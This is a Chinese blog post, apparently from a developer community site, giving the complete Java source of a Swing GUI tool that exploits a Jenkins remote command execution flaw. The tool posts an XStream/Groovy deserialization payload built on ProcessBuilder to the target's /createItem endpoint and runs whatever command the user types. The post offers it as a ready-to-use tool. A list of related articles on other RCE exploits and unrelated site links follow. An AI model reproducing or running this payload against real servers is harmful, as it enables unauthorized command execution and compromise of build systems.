昨天看小飞侠写的py的jenkins的脚本,昨天晚上在微信里评论今天写一个JAVA的GUI的tools.

早上花了点时间写一下:

code:

package com.tools;

	import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.URL;
import java.net.URLConnection;
import java.util.List;
import java.util.Map; import javax.swing.JOptionPane; public class HttpRequest {
/**
* 向指定 URL 发送POST方法的请求
*
* @param url
* 发送请求的 URL
* @param param
* 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。
* @return 所代表远程资源的响应结果
*/
public static String sendPost(String url, String param) {
PrintWriter out = null;
BufferedReader in = null;
String result = "";
try {
URL realUrl = new URL(url);
// 打开和URL之间的连接
URLConnection conn = realUrl.openConnection();
// 设置通用的请求属性
conn.setRequestProperty("accept", " text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
conn.setRequestProperty("connection", "Keep-Alive");
conn.setRequestProperty("user-agent",
" Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
conn.setRequestProperty("Content-Type", "application/xml");
conn.setRequestProperty("Cookie", "");
// 发送POST请求必须设置如下两行
conn.setDoOutput(true);
conn.setDoInput(true);
// 获取URLConnection对象对应的输出流
out = new PrintWriter(conn.getOutputStream());
// 发送请求参数
out.print(param);
// flush输出流的缓冲
out.flush();
// 定义BufferedReader输入流来读取URL的响应
in = new BufferedReader(
new InputStreamReader(conn.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
result += line;
}
} catch (Exception e) {
JOptionPane.showMessageDialog(null, "POST异常!"+e);
// System.out.println("发送 POST 请求出现异常!"+e);
e.printStackTrace();
}
//使用finally块来关闭输出流、输入流
finally{
try{
if(out!=null){
out.close();
}
if(in!=null){
in.close();
}
}
catch(IOException ex){
ex.printStackTrace();
}
}
return result;
}
}

  

package com.tools;

import java.awt.Component;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.Label;
import java.awt.LayoutManager;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import java.net.CookieHandler; import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.xml.soap.Text; //jenkins public class SQL extends JFrame {
private Label inputLabel;
private JTextField text;
private JButton button;
private JTextField command;
private JTextField cmdcontent;
private JTextField cookie;
private JPanel jp;
private JTextArea area; public void init() {
Container cp = this.getContentPane();
inputLabel = new Label("please input url:");
cp.add(inputLabel);
text = new JTextField("http://www.sufont.com/", 20);
cp.add(text);
button = new JButton("OK");
cp.add(button);
command = new JTextField("输入要执行的命令,例如:touch", 25);
cmdcontent = new JTextField("执行命令的内容,例如:/tmp/qingteng-test-1", 25);
cookie=new JTextField("cookie", 25); area=new JTextArea(20, 25); cp.add(cookie);
cp.add(command);
cp.add(cmdcontent);
cp.add(area);
area.setText(""); this.setSize(450, 280);
this.setVisible(true);
this.setTitle("Jenkins远程命令利用工具-By:sevck");
this.setLayout(new FlowLayout(2, 2, 2));
this.setDefaultCloseOperation(3);
this.setLocationRelativeTo(null);
this.setResizable(false);
} public SQL() {
init();
button.addActionListener(new ActionListener() { @Override
public void actionPerformed(ActionEvent e) {
// TODO Auto-generated method stub
String url = text.getText();// get url content
if (url.contains("http://")) { if (url.equalsIgnoreCase("http://")) {
JOptionPane.showMessageDialog(null, "url is null");
} else {
HttpRequest con = new HttpRequest();
String content = con.sendPost(url+ "/createItem?name=qt-sec", "<map><entry><groovy.util.Expando><expandoProperties> <entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class='groovy.util.Expando' reference='../../../..'/><owner class='java.lang.ProcessBuilder'><command><string>"+command.getText()+"</string><string>"+cmdcontent.getText()+"</string></command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>");
JOptionPane.showMessageDialog(null, "命令执行完毕2!");
System.out.println(content);
area.setText("result:\r\n"+content);
// try {
//
// Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler "+url);
// } catch (IOException e1) {
// // TODO Auto-generated catch blocks
// e1.printStackTrace();
// }
}
} else {
JOptionPane.showMessageDialog(null, "加http://");
} }
});
} public static void main(String[] args) {
// TODO Auto-generated method stub
new SQL(); } }

  界面写的比较简陋,能用就可以 ;)

jenkins远程命令执行利用工具的更多相关文章

  1. Jenkins远程命令执行漏洞(CVE-2018-1000861)

    此漏洞没有回显,直接利用orange的exp执行命令反弹shell 工具地址https://github.com/orangetw/awesome-jenkins-rce-2019 web服务器下写1 ...

  2. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  3. S2-045远程命令执行漏洞的利用

    Apache Struts2 远程命令执行 (S2-045) 漏洞介绍: 漏洞编号:S2-045CVE编号:CVE-2017-5638漏洞类型:远程代码执行漏洞级别:高危漏洞风险:黑客通过利用漏洞可以 ...

  4. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  5. "Java 反序列化"过程远程命令执行漏洞

    一.漏洞描述   国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...

  6. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  7. WebLogic远程命令执行

    靶机说明 目标ip:172.16.53.28(window 2003) 本靶机所针对的序列化漏洞系列以及常见安全问题如下: 弱口令登陆控制台部署war包webshell CVE-2018-2893 C ...

  8. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  9. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

随机推荐

  1. 用javascript在客户端删除某一个cookie键值对

    下面这个方法展示如何在客户端浏览器上用javascript删除某一个cookie键值对. //用javascript删除某一个cookie的方法,该方法传入要删除cookie的名称 function ...

  2. 作为一个web开发人员,哪些技术细节是在发布站点前你需要考虑到的

    前日在cnblogs上看到一遍文章<每个程序员都必读的12篇文章>,其中大多数是E文的. 先译其中一篇web相关的”每个程序员必知之WEB开发”. 原文: http://programme ...

  3. 160923、项目管理模式:如何去除SVN标记

    项目管理模式:如何去除SVN标记 当我们从工作空间中拷贝一个项目,发现项目特别大.那是因为当使用svn里面保留了每个版本的信息,我们可以通过这个方法来进行去除 当项目不需要SVN标志的时候,我们一般怎 ...

  4. 人工智能大数据,公开的海量数据集下载,ImageNet数据集下载,数据挖掘机器学习数据集下载

    人工智能大数据,公开的海量数据集下载,ImageNet数据集下载,数据挖掘机器学习数据集下载 ImageNet挑战赛中超越人类的计算机视觉系统微软亚洲研究院视觉计算组基于深度卷积神经网络(CNN)的计 ...

  5. Javascript Regexp match and replace

    # add a new article reference to database function addnewpub() { var year = $("input#year" ...

  6. vm克隆虚拟机网络配置

    *CentOS虚拟机网络连接方式为:桥接模式* 虚拟机克隆后会导致网络连接不上:(引起原因是新的MAC和网卡配置对应不上)问题解决(在克隆机里执行下列步骤): vi /etc/udev/rules.d ...

  7. 【JQGRID DOCUMENTATION】.学习笔记.1.安装jqGrid

    前面介绍了怎么使用其MVC方式,很好用.不过,觉得还是只使用前段比较好. 1.1 如何安装 到http://www.trirand.com/blog/?page_id=6 下载. </html& ...

  8. 更改MySQL数据文件目录位置

    运维mysql,某些时候需要将数据文件更改到别的路径.以下介绍将mysql的数据文件从/var/lib/mysql迁移到/home/mysqldata/mysql下. 1.停止mysql $ serv ...

  9. WPF:窗体置顶

    1.设置窗体TopMost属性 private DispatcherTimer timer; public Window1() { InitializeComponent(); Loaded += n ...

  10. 简单LRU算法实现缓存

    最简单的LRU算法实现,就是利用jdk的LinkedHashMap,覆写其中的removeEldestEntry(Map.Entry)方法即可,如下所示: java 代码 import java.ut ...